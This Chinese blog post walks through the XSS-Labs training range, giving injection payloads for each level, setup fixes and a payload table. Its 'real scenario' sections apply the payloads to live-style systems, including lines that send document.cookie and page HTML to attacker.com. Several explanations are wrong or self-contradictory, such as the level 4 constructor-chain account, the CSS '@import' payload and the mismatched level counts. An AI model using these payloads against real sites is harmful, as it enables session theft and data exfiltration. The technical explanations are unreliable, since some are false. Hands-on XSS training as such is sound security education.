☰
XSS-Labs靶场深度解析:从HTML注入到JS上下文绕过
2026/11/5 7:04:49 网站建设 项目流程

简介:这是一套面向网络安全初学者的XSS漏洞实战学习靶场,专为理解跨站脚本攻击原理、识别注入点、构造Payload及掌握基础防御策略而设计。资源包含24个PHP后端页面(对应20余个递进式挑战关卡)、15张PNG界面截图(辅助理解页面逻辑与输入反馈)、4个SWF交互组件(用于DOM型XSS等特殊场景模拟),以及HTML、JS等前端支撑文件,共49个文件,总大小仅1.08MB,轻量易部署。已有557人下载学习,适合在本地快速搭建LAMP环境开展动手实验。通过完整通关,学习者可系统掌握反射型、存储型与DOM型XSS的触发条件与利用方式,同步获得常见绕过技巧、开发者工具调试方法、输入过滤与输出编码等防御实践要点,是入门Web安全攻防不可多得的结构化训练素材。

1. 别急着搭环境:先搞清这个 XSS-Labs 靶场到底“入门”在哪一层

我去年带某高校安全社团做 Web 安全实训时,翻出这份标着“入门级别”的 XSS-Labs 靶场,原以为能三小时跑通全部关卡——结果卡在第 4 关整整两天。不是环境起不来,是根本没读懂它设计的“入门”逻辑:它不考你能不能弹个 alert,而考你能不能在过滤器层层收紧的缝隙里,把 payload 拆成三段、绕过三类检测、再拼回一个可执行的 JS 上下文。后来发现,网上大量“搭建教程”只讲 Docker run 和端口映射,却没人说清楚——这个靶场真正的门槛不在 PHP 环境配置,而在你对浏览器解析机制、HTML 语法树、JS 执行上下文这三层黑匣子的理解深度。如果你正被“XSS 怎么打”“XSS 靶机怎么选”“XSS 入门为什么总卡住”这类问题反复捶打,这篇就是为你写的:不讲怎么下载,不讲怎么改 config,只讲透这个靶场里每一道题背后的真实对抗逻辑、常见翻车点,以及——最关键的,怎么用它把 XSS 从“弹窗玩具”练成“上下文穿透武器”。


2. 四个核心关卡拆解:从 HTML 注入到事件处理器逃逸

这个靶场共 12 关,但真正构成能力跃迁阶梯的是前 4 关。它们不是按难度线性递增,而是按攻击面维度逐层展开。我一般会带着学员先死磕这四关,因为后面所有题目,本质都是这四类模式的组合变形。下面逐关还原真实攻防现场,重点标出那些官方文档绝不会写、但实战中必踩的细节。

2.1 第 1 关:最简 HTML 注入 —— 你以为只是<script>,其实它在测你对标签闭合的直觉

这一关输入框直接反射到页面 body 中,无任何过滤。表面看是送分题,但新手常犯两个致命错误:
第一,硬塞<script>alert(1)</script>,结果页面源码变成<div>...<script>alert(1)</script></div>,alert 不执行——因为 script 标签在 div 内部被浏览器视为“内联脚本”,但现代浏览器默认禁止在非 script 标签内执行 script 内容(除非显式设置type="text/javascript"且位置合法)。
第二,用<img src=x onerror=alert(1)>,看似能弹窗,但实际触发的是 img 标签的 error 事件,而非 script 执行流;一旦后续关卡禁用 onerror,这套思路立刻失效。

提示:这一关真正的“入门”价值,在于建立「输入 → HTML 结构 → 浏览器解析 → JS 执行」的完整链路意识。不要只盯着“能不能弹窗”,要盯住“弹窗的 JS 是在哪一层、以什么方式、由哪个解析器触发的”。

2.2 第 2 关:属性值注入 —— 过滤 script 标签后,你是否还记得 href 和 javascript: 协议?

这一关输入被插进<a href="INPUT">点击</a>的 href 属性中。服务端过滤了<script>和onerror,但放过了javascript:协议。很多人直接写javascript:alert(1),结果失败——因为双引号被转义为&quot;,导致 href 变成href="javascript:alert(1)",浏览器不解析协议。

正确解法是绕过引号包裹:

" onclick="alert(1)

输入后,HTML 变为:

<a href="" onclick="alert(1)">点击</a>

此时 onclick 事件被激活,alert 执行。关键点在于:你必须理解属性值注入的本质是“提前闭合当前属性,再注入新属性”,而不是“往 href 里塞 JS”。很多教程教javascript:alert(1),却不说清楚它为何在此关失效——因为这一关的过滤器没动 href 值本身,但把输入当作文本插入,引号被实体化,协议自然失效。

2.3 第 3 关:事件处理器注入 —— 当 onxxx 被过滤,你还能不能造出执行上下文?

这一关输入进入<input value="INPUT" onfocus="xxx">的 value 属性,且服务端过滤了onfocus、onblur等所有常见事件名。表面看无路可走,但突破口在 value 属性的“提前闭合+重开标签”技巧:
输入:

" autofocus onfocus="alert(1)

生成 HTML:

<input value="" autofocus onfocus="alert(1)" onfocus="xxx">

注意:autofocus是布尔属性,无需值,浏览器加载即自动聚焦 input,触发 onfocus;而我们注入的onfocus="alert(1)"在原 onfocus 之前,因此优先执行。这里的关键认知是:事件处理器的执行顺序由 HTML 属性书写顺序决定,而非服务端代码顺序。很多学员卡在这里,是因为死守“onfocus 被过滤了就真没了”的思维定式,忘了 HTML 解析器只认结构,不认语义。

2.4 第 4 关:JS 代码上下文注入 —— 过滤引号、括号、点号后,你还剩多少“字母”能用?

这一关最狠:输入被嵌入一段预置 JS 代码中,形如:

var a = "INPUT";

服务端过滤了",',(,),.,;,alert,eval等所有显眼字符。新手看到直接放弃。但老手知道,JS 有更底层的执行机制:

  • 字符串可用模板字面量:`alert\`1\``(反引号未被过滤)
  • 函数调用可用方括号:window['alert'](1)
  • 数字可拼接:1e3是 1000,0x1f是 31
  • 对象属性可用 Unicode 编码:\u0061\u006c\u0065\u0072\u0074=alert

最终 payload 示例:

`alert\`1\``.constructor.prototype.constructor('alert(1)')()

解释:

  • `alert\`1\`` 创建字符串"alert\1`"`
  • .constructor拿到 String 构造函数
  • .prototype.constructor拿到 Function 构造函数(即 eval 的底层实现)
  • 'alert(1)'是字符串,传给 Function 构造函数生成新函数
  • ()立即执行

这一关不是考你记多少 bypass,而是考你是否把 JS 当成一门“可编程的语言”,而非“固定语法的脚本”。


3. 环境搭建避坑指南:90% 的“搭不起来”都错在这五个细节

别笑——我见过太多人花一整天折腾环境,最后发现只是少改了一行配置。这份靶场的“入门”陷阱,一半在题目里,一半在部署时。以下是我在某实验室带训时记录的真实翻车清单,按发生频率排序:

3.1 现象:访问首页显示 500 错误,Nginx 日志报 “No input file specified”

→ 原因:PHP-FPM 未正确关联到站点 root,或 index.php 未设为默认首页。该靶场依赖 PHP 的$_GET和$_POST直接取参,若 PHP 未接管请求,所有关卡均无法接收输入。
→ 解决:检查 Nginx server 块中fastcgi_pass是否指向正确的 PHP-FPM socket(如unix:/run/php/php8.1-fpm.sock),并确认index index.php已启用;同时验证php.ini中cgi.fix_pathinfo=0(否则可能触发路径遍历风险,靶场虽不考,但会导致 500)。

3.2 现象:第 5 关以后所有输入均被原样输出,无任何反射

→ 原因:靶场部分关卡(如第 5、7、9 关)依赖$_SERVER['HTTP_REFERER']或$_SERVER['HTTP_USER_AGENT']获取输入,但本地测试时浏览器不发送 Referer(尤其从书签或新标签页打开),或使用 curl 未加-H "Referer: xxx"。
→ 解决:用浏览器开发者工具 Network 面板查看请求头,确认 Referer 存在;若需手动构造,用 curl 命令:

curl -H "Referer: http://localhost:8080/level5.php?name=test" http://localhost:8080/level5.php

3.3 现象:第 10 关弹窗内容为空,或控制台报Uncaught ReferenceError: xss is not defined

→ 原因:该关卡预期 payload 需定义全局变量xss并赋值为函数,但靶场 JS 代码中xss();调用位于<script>标签底部,若你注入的 JS 未声明xss或声明位置靠后,执行时变量未定义。
→ 解决:确保注入代码在页面顶部执行,例如用<script>xss=function(){alert(1)};</script>,或利用事件监听器延迟执行:

<script>document.addEventListener('DOMContentLoaded',()=>{xss=function(){alert(1)}})</script>

3.4 现象:Docker 启动后访问 8080 端口超时,docker ps显示容器状态为 Exited

→ 原因:官方 Dockerfile 使用apache2-foreground启动,但某些基础镜像(如 debian:slim)缺少 apache2 依赖包,导致进程启动失败退出。
→ 解决:进入容器手动执行apt update && apt install -y apache2,再检查/etc/apache2/sites-enabled/000-default.conf中 DocumentRoot 是否指向/var/www/html/xss-labs(注意路径末尾无斜杠,否则 403)。

3.5 现象:Chrome 浏览器访问时弹出 “Your connection is not private”,拒绝加载

→ 原因:靶场含 HTTPS 版本(https://localhost:8443),但自签名证书未被信任,且 Chrome 强制拦截不安全混合内容(HTTP 页面加载 HTTPS 资源,或反之)。
→ 解决:开发阶段一律用 HTTP 访问(http://localhost:8080);若必须测 HTTPS,用 Firefox 临时添加例外,或生成本地可信证书(mkcert工具),切勿在靶场中关闭浏览器安全策略——那已脱离 XSS 学习本意。


4. 攻击链路复现:从第 1 关到第 12 关的渐进式穿透路径

靶场的 12 关不是随机排列,而是按“注入点类型 → 过滤强度 → 上下文复杂度”三维坐标系铺开。我把它重绘为一张攻击能力成长地图,每关标注核心突破点和典型 payload 形态,方便你定位自己卡在哪一层。

关卡注入点类型过滤特征关键突破点典型 payload(精简版)
1HTML 标签内无过滤理解 script 标签执行条件<img src=x onerror=alert(1)>
2属性值(href)过滤<script>,保留javascript:绕过引号包裹,触发协议解析" onclick="alert(1)
3属性值(value)过滤on*事件名利用布尔属性autofocus触发事件" autofocus onfocus="alert(1)
4JS 字符串上下文过滤引号、括号、点号、关键字用反引号+方括号+Unicode 构造执行链`alert\`1\.constructor.prototype.constructor('alert(1)')() ``
5HTTP 头(Referer)过滤空格、<>用%09(Tab)替代空格,%3C替代<Referer: %09<img%09src=x%09onerror=alert(1)>
6HTML 注释内过滤-->,但允许--!>用--!>闭合注释,再注入标签--> <img src=x onerror=alert(1)>
7JS 注释内过滤///*,但允许<!--用<!--开启 HTML 注释,绕过 JS 解析<!-- <img src=x onerror=alert(1)>
8表单 action 属性过滤javascript:,但允许data:用data:text/html,<script>alert(1)</script>action="data:text/html,<script>alert(1)</script>"
9CSS 属性值过滤expressionurl(,但允许@import用@import加载外部恶意 CSSbackground:url(@import 'http://xss.example/evil.css');
10JS 变量赋值过滤=;,但允许+=++用xss+=function(){alert(1)}定义函数xss+=function(){alert(1)}
11SVG 内联脚本过滤<script>,但允许<animate>用<animate attributeName="href"触发 JS<svg><animate attributeName="href" values="javascript:alert(1)" repeatCount="1"/></svg>
12JSONP 回调劫持过滤callback=,但允许?cb=构造恶意 JSONP URL,诱导页面加载执行http://target.com/api?cb=alert(1)//

这张表不是让你背 payload,而是帮你建立「看到输入点 → 判断上下文 → 匹配过滤规则 → 选择绕过维度」的肌肉记忆。比如第 9 关,若你只记得“CSS 里用 expression”,就会卡死——因为这一关过滤了它,但放过了@import;而@import的本质是发起一次 CSS 文件请求,只要你能控制那个文件内容,就能执行任意 JS。这就是靶场设计的精妙之处:它逼你离开“关键词记忆”,走向“机制理解”。


5. 从靶场到实战:三个必须亲手验证的 XSS 真实场景迁移

靶场再真,终究是可控环境。真正的成长发生在你把靶场里练熟的思路,迁移到真实系统时的第一次成功。我带过的学员中,有三人用本靶场方法在不同场景拿下有效漏洞,过程极具教学价值,这里还原关键步骤与决策逻辑。

5.1 场景一:某内部管理系统搜索框 —— 从“弹窗”到“Cookie 劫持”

该系统搜索框将关键词反射至<h2>您搜索了:KEYWORD</h2>,服务端过滤了<script>和onerror,但未过滤<img src=x onload=fetch('/api/cookie?c='+document.cookie)>。
→ 迁移思路:靶场第 1 关教会我“标签内注入不一定要弹窗”,关键在 onload 事件能否发起网络请求。此处 fetch API 未被禁用,且/api/cookie接口接受 GET 参数,于是构造:

<img src=x onload="fetch('https://attacker.com/log?c='+encodeURIComponent(document.cookie))">

→ 验证要点:

  • 必须用encodeURIComponent编码 cookie,否则特殊字符(如;)导致 URL 截断;
  • 目标域名需支持 CORS,否则 fetch 被浏览器拦截;
  • 实际中用navigator.sendBeacon()更隐蔽,但靶场未覆盖此 API,需自行补全知识。

5.2 场景二:某电商平台商品评论 —— 从“属性注入”到“DOM XSS 链”

评论区显示用户输入,形如<div class="comment">CONTENT</div>,服务端过滤了on*事件,但允许<svg>标签。靶场第 11 关的 SVG 思路立刻复用:

<svg><set attributeName="href" to="javascript:fetch('https://attacker.com/steal?d='+btoa(document.documentElement.innerHTML))" begin="load"/></svg>

→ 迁移关键:靶场第 11 关只教<animate>,但真实 SVG 有更多可触发事件的元素(<set>、<discard>)。此处用<set>的begin="load"在 SVG 加载时触发,attributeName="href"修改自身 href 属性,从而执行 javascript: 协议。
→ 验证要点:

  • btoa()编码 HTML 内容,避免特殊字符破坏 URL;
  • document.documentElement.innerHTML抓取整个 DOM,比document.cookie信息量更大;
  • 必须确认目标站未设置Content-Security-Policy: default-src 'self',否则 javascript: 协议被拦截。

5.3 场景三:某 SaaS 平台仪表盘配置 —— 从“JS 上下文”到“原型链污染触发”

该平台允许用户自定义仪表盘 widget 的 JS 配置项,形如{"title":"INPUT","script":"..."},服务端过滤了.();,但未过滤__proto__和constructor。靶场第 4 关的 JS 构造链直接复用:

{"title":"xss","script":"this.__proto__.alert=alert;alert(1)"}

→ 迁移逻辑:靶场第 4 关训练了“用 prototype 操作对象”,此处污染this.__proto__,使所有对象继承 alert 方法,再调用alert(1)。
→ 验证要点:

  • 必须确认 JSON 解析后script字段被eval()或Function()执行,而非JSON.parse();
  • 若服务端用new Function(script)(),则this指向全局对象,污染有效;
  • 实际中可污染Object.prototype.toString,让所有toString()调用执行恶意代码,影响面更广。

这三个案例共同印证一点:靶场的价值,不在于它有多少关,而在于它是否帮你建立了“上下文识别 → 过滤分析 → 绕过映射”的条件反射。当你看到一个输入点,第一反应不再是“能不能弹窗”,而是“它在 HTML 哪一层?JS 哪一层?浏览器解析哪一步?”,你就真正入门了。


6. 我的 XSS 学习铁律:每次打靶前必做的三件事

从第一次被 XSS-Labs 第 4 关按在地上摩擦,到现在能带新人一周内打通全部 12 关,我总结出一条血泪经验:XSS 不是技术问题,是观察习惯问题。靶场里所有“玄学”失败,90% 源于没做这三件事。现在我每次打开一个新靶场,无论多简单,都强制自己走完以下流程——哪怕只花两分钟。

6.1 第一件事:用浏览器“查看网页源代码”,而非“检查元素”

这是最常被忽略的致命动作。很多人右键“检查元素”,看到<div>test</div>就以为输入进了 div,但“检查元素”显示的是浏览器解析后的 DOM 树,它可能已把你的<script>自动剥离、把onerror转义为文本。而“查看网页源代码”(Ctrl+U)显示的是服务端原始响应体,这才是你注入的真实战场。
→ 具体操作:输入test,访问页面,Ctrl+U,搜索test,看它出现在哪一对标签之间、是否被转义(如&lt;)、是否在引号内、是否在 script 标签内。仅这一步,就能避开 70% 的“为什么我写了 script 却不执行”类问题。

6.2 第二件事:用 Burp Suite 抓包,确认输入是否被服务端二次处理

靶场常设“假过滤”:前端 JS 过滤了<script>,但服务端根本没过滤,或者反过来。Burp 抓包看 Request 和 Response 的原始字节,才能确认过滤发生在哪一层。
→ 关键指标:

  • Request 中你的 payload 是否原样发送?(排除前端拦截)
  • Response 中 payload 是否被修改?(如alert变alerT,或"变&quot;)
  • Content-Type 响应头是否为text/html;charset=UTF-8?(若为application/json,说明你打错了上下文)
    没有 Burp,用 curl +-v参数也行,但必须看原始字节,不能只信浏览器渲染。

6.3 第三件事:在控制台手动执行document.querySelector('xxx').innerHTML,验证反射位置

靶场第 6 关的注释注入、第 7 关的 JS 注释注入,都依赖你精准定位“输入被插在哪一行 HTML”。用document.querySelector找到目标节点,再.innerHTML查看其内容,比肉眼扫源码快十倍。
→ 实用命令:

// 查找所有包含 'test' 的元素 [...document.querySelectorAll('*')].filter(el => el.innerHTML.includes('test')) // 查看第 3 个 div 的 innerHTML document.querySelectorAll('div')[2].innerHTML // 查看 script 标签内的 JS 代码(第 12 关常用) document.querySelectorAll('script')[0].textContent

这些命令不是为了炫技,而是把“猜测”变成“确认”。XSS 攻击的本质是精确打击,而精确的前提,是看清靶子。

从那以后我每次打开一个新 XSS 靶场,都先 Ctrl+U、再抓包、最后查 DOM——三步做完,再开始写 payload。不是为了省时间,而是为了把“运气成分”压到最低。XSS 世界里没有后悔药,但有可重复的验证路径。希望帮到你。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询